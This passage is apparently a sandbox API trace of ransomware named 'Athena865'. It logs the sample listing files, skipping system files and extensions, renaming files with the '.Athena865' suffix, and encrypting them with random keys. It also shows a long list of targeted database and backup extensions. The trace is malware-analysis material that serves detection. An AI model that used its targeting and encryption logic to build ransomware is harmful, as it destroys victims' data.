pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.408] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.408] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45c0, lpName=0x0) returned 0x154 [0092.410] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x45c0) returned 0x100000 [0092.412] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.412] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.412] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.413] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.413] CloseHandle (hObject=0x154) returned 1 [0092.413] CloseHandle (hObject=0x17c) returned 1 [0092.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.414] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Lisezmoi.htm", cAlternateFileName="")) returned 1 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2=".") returned 1 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="..") returned 1 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="windows") returned -1 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="bootmgr") returned 1 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="temp") returned -1 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="pagefile.sys") returned -1 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="boot") returned 1 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="ids.txt") returned 1 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="ntuser.dat") returned -1 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="perflogs") returned -1 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="MSBuild") returned -1 [0092.414] lstrlenW (lpString="Lisezmoi.htm") returned 12 [0092.414] lstrcpyW (in: lpString1=0x241e89a, lpString2="Lisezmoi.htm" | out: lpString1="Lisezmoi.htm") returned="Lisezmoi.htm" [0092.414] lstrlenW (lpString="Lisezmoi.htm") returned 12 [0092.414] lstrlenW (lpString="Athena865") returned 9 [0092.414] lstrcmpiW (lpString1="ezmoi.htm", lpString2="Athena865") returned 1 [0092.414] lstrlenW (lpString=".dll") returned 4 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2=".dll") returned 1 [0092.414] lstrlenW (lpString=".lnk") returned 4 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2=".lnk") returned 1 [0092.414] lstrlenW (lpString=".ini") returned 4 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2=".ini") returned 1 [0092.414] lstrlenW (lpString=".sys") returned 4 [0092.414] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2=".sys") returned 1 [0092.414] lstrlenW (lpString="Lisezmoi.htm") returned 12 [0092.415] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm.Athena865") returned 63 [0092.415] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm.athena865"), dwFlags=0x1) returned 1 [0092.416] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0092.416] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17351) returned 1 [0092.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.417] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.417] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.417] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.418] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x46d0, lpName=0x0) returned 0x154 [0092.419] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x46d0) returned 0x100000 [0092.421] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.421] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.421] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.422] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.422] CloseHandle (hObject=0x154) returned 1 [0092.422] CloseHandle (hObject=0x17c) returned 1 [0092.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.423] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Llegiu-me.htm", cAlternateFileName="LLEGIU~1.HTM")) returned 1 [0092.423] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.423] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.423] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2=".") returned 1 [0092.423] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="..") returned 1 [0092.423] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="windows") returned -1 [0092.423] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="bootmgr") returned 1 [0092.423] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="temp") returned -1 [0092.423] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="pagefile.sys") returned -1 [0092.423] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="boot") returned 1 [0092.423] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="ids.txt") returned 1 [0092.423] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="ntuser.dat") returned -1 [0092.423] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="perflogs") returned -1 [0092.423] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="MSBuild") returned -1 [0092.423] lstrlenW (lpString="Llegiu-me.htm") returned 13 [0092.423] lstrcpyW (in: lpString1=0x241e89a, lpString2="Llegiu-me.htm" | out: lpString1="Llegiu-me.htm") returned="Llegiu-me.htm" [0092.423] lstrlenW (lpString="Llegiu-me.htm") returned 13 [0092.423] lstrlenW (lpString="Athena865") returned 9 [0092.423] lstrcmpiW (lpString1="iu-me.htm", lpString2="Athena865") returned 1 [0092.423] lstrlenW (lpString=".dll") returned 4 [0092.423] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2=".dll") returned 1 [0092.423] lstrlenW (lpString=".lnk") returned 4 [0092.423] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2=".lnk") returned 1 [0092.423] lstrlenW (lpString=".ini") returned 4 [0092.423] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2=".ini") returned 1 [0092.424] lstrlenW (lpString=".sys") returned 4 [0092.424] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2=".sys") returned 1 [0092.424] lstrlenW (lpString="Llegiu-me.htm") returned 13 [0092.424] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm.Athena865") returned 64 [0092.424] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm.athena865"), dwFlags=0x1) returned 1 [0092.426] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0092.426] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16892) returned 1 [0092.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.426] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.426] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.427] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.427] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.427] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4500, lpName=0x0) returned 0x154 [0092.429] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4500) returned 0x100000 [0092.430] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.431] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.431] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.436] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.436] CloseHandle (hObject=0x154) returned 1 [0092.436] CloseHandle (hObject=0x17c) returned 1 [0092.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.437] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x434e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LueMinut.htm", cAlternateFileName="")) returned 1 [0092.437] lstrcmpiW (lpString1="LueMinut.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.437] lstrcmpiW (lpString1="LueMinut.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.437] lstrcmpiW (lpString1="LueMinut.htm", lpString2=".") returned 1 [0092.437] lstrcmpiW (lpString1="LueMinut.htm", lpString2="..") returned 1 [0092.437] lstrcmpiW (lpString1="LueMinut.htm", lpString2="windows") returned -1 [0092.437] lstrcmpiW (lpString1="LueMinut.htm", lpString2="bootmgr") returned 1 [0092.437] lstrcmpiW (lpString1="LueMinut.htm", lpString2="temp") returned -1 [0092.437] lstrcmpiW (lpString1="LueMinut.htm", lpString2="pagefile.sys") returned -1 [0092.437] lstrcmpiW (lpString1="LueMinut.htm", lpString2="boot") returned 1 [0092.437] lstrcmpiW (lpString1="LueMinut.htm", lpString2="ids.txt") returned 1 [0092.437] lstrcmpiW (lpString1="LueMinut.htm", lpString2="ntuser.dat") returned -1 [0092.437] lstrcmpiW (lpString1="LueMinut.htm", lpString2="perflogs") returned -1 [0092.437] lstrcmpiW (lpString1="LueMinut.htm", lpString2="MSBuild") returned -1 [0092.437] lstrlenW (lpString="LueMinut.htm") returned 12 [0092.437] lstrcpyW (in: lpString1=0x241e89a, lpString2="LueMinut.htm" | out: lpString1="LueMinut.htm") returned="LueMinut.htm" [0092.437] lstrlenW (lpString="LueMinut.htm") returned 12 [0092.437] lstrlenW (lpString="Athena865") returned 9 [0092.437] lstrcmpiW (lpString1="Minut.htm", lpString2="Athena865") returned 1 [0092.437] lstrlenW (lpString=".dll") returned 4 [0092.437] lstrcmpiW (lpString1="LueMinut.htm", lpString2=".dll") returned 1 [0092.437] lstrlenW (lpString=".lnk") returned 4 [0092.438] lstrcmpiW (lpString1="LueMinut.htm", lpString2=".lnk") returned 1 [0092.438] lstrlenW (lpString=".ini") returned 4 [0092.438] lstrcmpiW (lpString1="LueMinut.htm", lpString2=".ini") returned 1 [0092.438] lstrlenW (lpString=".sys") returned 4 [0092.438] lstrcmpiW (lpString1="LueMinut.htm", lpString2=".sys") returned 1 [0092.438] lstrlenW (lpString="LueMinut.htm") returned 12 [0092.438] lstrlenW (lpString="bak") returned 3 [0092.438] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1 [0092.438] lstrlenW (lpString="ba_") returned 3 [0092.438] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1 [0092.438] lstrlenW (lpString="dbb") returned 3 [0092.438] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1 [0092.438] lstrlenW (lpString="vmdk") returned 4 [0092.438] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1 [0092.438] lstrlenW (lpString="rar") returned 3 [0092.438] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1 [0092.438] lstrlenW (lpString="zip") returned 3 [0092.438] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1 [0092.438] lstrlenW (lpString="tgz") returned 3 [0092.438] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1 [0092.438] lstrlenW (lpString="vbox") returned 4 [0092.438] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1 [0092.438] lstrlenW (lpString="vdi") returned 3 [0092.438] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1 [0092.438] lstrlenW (lpString="vhd") returned 3 [0092.438] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1 [0092.438] lstrlenW (lpString="vhdx") returned 4 [0092.438] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1 [0092.438] lstrlenW (lpString="avhd") returned 4 [0092.438] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1 [0092.439] lstrlenW (lpString="db") returned 2 [0092.439] lstrcmpiW (lpString1="tm", lpString2="db") returned 1 [0092.439] lstrlenW (lpString="db2") returned 3 [0092.439] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1 [0092.439] lstrlenW (lpString="db3") returned 3 [0092.439] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1 [0092.439] lstrlenW (lpString="dbf") returned 3 [0092.439] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1 [0092.439] lstrlenW (lpString="mdf") returned 3 [0092.439] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1 [0092.439] lstrlenW (lpString="mdb") returned 3 [0092.439] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1 [0092.439] lstrlenW (lpString="sql") returned 3 [0092.439] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1 [0092.439] lstrlenW (lpString="sqlite") returned 6 [0092.439] lstrcmpiW (lpString1="ut.htm", lpString2="sqlite") returned 1 [0092.439] lstrlenW (lpString="sqlite3") returned 7 [0092.439] lstrcmpiW (lpString1="nut.htm", lpString2="sqlite3") returned -1 [0092.439] lstrlenW (lpString="sqlitedb") returned 8 [0092.439] lstrcmpiW (lpString1="inut.htm", lpString2="sqlitedb") returned -1 [0092.439] lstrlenW (lpString="xml") returned 3 [0092.439] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1 [0092.439] lstrlenW (lpString="$er") returned 3 [0092.439] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1 [0092.439] lstrlenW (lpString="4dd") returned 3 [0092.439] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1 [0092.439] lstrlenW (lpString="4dl") returned 3 [0092.439] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1 [0092.439] lstrlenW (lpString="^^^") returned 3 [0092.439] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1 [0092.439] lstrlenW (lpString="abs") returned 3 [0092.440] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1 [0092.440] lstrlenW (lpString="abx") returned 3 [0092.440] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1 [0092.440] lstrlenW (lpString="accdb") returned 5 [0092.440] lstrcmpiW (lpString1="t.htm", lpString2="accdb") returned 1 [0092.440] lstrlenW (lpString="accdc") returned 5 [0092.440] lstrcmpiW (lpString1="t.htm", lpString2="accdc") returned 1 [0092.440] lstrlenW (lpString="accde") returned 5 [0092.440] lstrcmpiW (lpString1="t.htm", lpString2="accde") returned 1 [0092.440] lstrlenW (lpString="accdr") returned 5 [0092.440] lstrcmpiW (lpString1="t.htm", lpString2="accdr") returned 1 [0092.440] lstrlenW (lpString="accdt") returned 5 [0092.440] lstrcmpiW (lpString1="t.htm", lpString2="accdt") returned 1 [0092.440] lstrlenW (lpString="accdw") returned 5 [0092.440] lstrcmpiW (lpString1="t.htm", lpString2="accdw") returned 1 [0092.440] lstrlenW (lpString="accft") returned 5 [0092.440] lstrcmpiW (lpString1="t.htm", lpString2="accft") returned 1 [0092.440] lstrlenW (lpString="adb") returned 3 [0092.440] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.440] lstrlenW (lpString="adb") returned 3 [0092.440] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.440] lstrlenW (lpString="ade") returned 3 [0092.440] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1 [0092.440] lstrlenW (lpString="adf") returned 3 [0092.440] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1 [0092.440] lstrlenW (lpString="adn") returned 3 [0092.440] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1 [0092.440] lstrlenW (lpString="adp") returned 3 [0092.440] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1 [0092.440] lstrlenW (lpString="alf") returned 3 [0092.441] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1 [0092.441] lstrlenW (lpString="ask") returned 3 [0092.441] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1 [0092.441] lstrlenW (lpString="btr") returned 3 [0092.441] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1 [0092.441] lstrlenW (lpString="cat") returned 3 [0092.441] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1 [0092.441] lstrlenW (lpString="cdb") returned 3 [0092.441] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1 [0092.441] lstrlenW (lpString="ckp") returned 3 [0092.441] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1 [0092.441] lstrlenW (lpString="cma") returned 3 [0092.441] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1 [0092.441] lstrlenW (lpString="cpd") returned 3 [0092.441] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1 [0092.441] lstrlenW (lpString="dacpac") returned 6 [0092.441] lstrcmpiW (lpString1="ut.htm", lpString2="dacpac") returned 1 [0092.441] lstrlenW (lpString="dad") returned 3 [0092.441] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1 [0092.441] lstrlenW (lpString="dadiagrams") returned 10 [0092.441] lstrcmpiW (lpString1="eMinut.htm", lpString2="dadiagrams") returned 1 [0092.441] lstrlenW (lpString="daschema") returned 8 [0092.441] lstrcmpiW (lpString1="inut.htm", lpString2="daschema") returned 1 [0092.441] lstrlenW (lpString="db-journal") returned 10 [0092.441] lstrcmpiW (lpString1="eMinut.htm", lpString2="db-journal") returned 1 [0092.441] lstrlenW (lpString="db-shm") returned 6 [0092.441] lstrcmpiW (lpString1="ut.htm", lpString2="db-shm") returned 1 [0092.441] lstrlenW (lpString="db-wal") returned 6 [0092.441] lstrcmpiW (lpString1="ut.htm", lpString2="db-wal") returned 1 [0092.441] lstrlenW (lpString="dbc") returned 3 [0092.441] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1 [0092.442] lstrlenW (lpString="dbs") returned 3 [0092.442] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1 [0092.442] lstrlenW (lpString="dbt") returned 3 [0092.442] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1 [0092.442] lstrlenW (lpString="dbv") returned 3 [0092.442] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1 [0092.442] lstrlenW (lpString="dbx") returned 3 [0092.442] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1 [0092.442] lstrlenW (lpString="dcb") returned 3 [0092.442] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1 [0092.442] lstrlenW (lpString="dct") returned 3 [0092.442] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1 [0092.442] lstrlenW (lpString="dcx") returned 3 [0092.442] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1 [0092.442] lstrlenW (lpString="ddl") returned 3 [0092.442] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1 [0092.442] lstrlenW (lpString="dlis") returned 4 [0092.442] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1 [0092.442] lstrlenW (lpString="dp1") returned 3 [0092.442] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1 [0092.442] lstrlenW (lpString="dqy") returned 3 [0092.442] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1 [0092.442] lstrlenW (lpString="dsk") returned 3 [0092.442] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1 [0092.442] lstrlenW (lpString="dsn") returned 3 [0092.442] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1 [0092.442] lstrlenW (lpString="dtsx") returned 4 [0092.442] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1 [0092.442] lstrlenW (lpString="dxl") returned 3 [0092.442] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1 [0092.442] lstrlenW 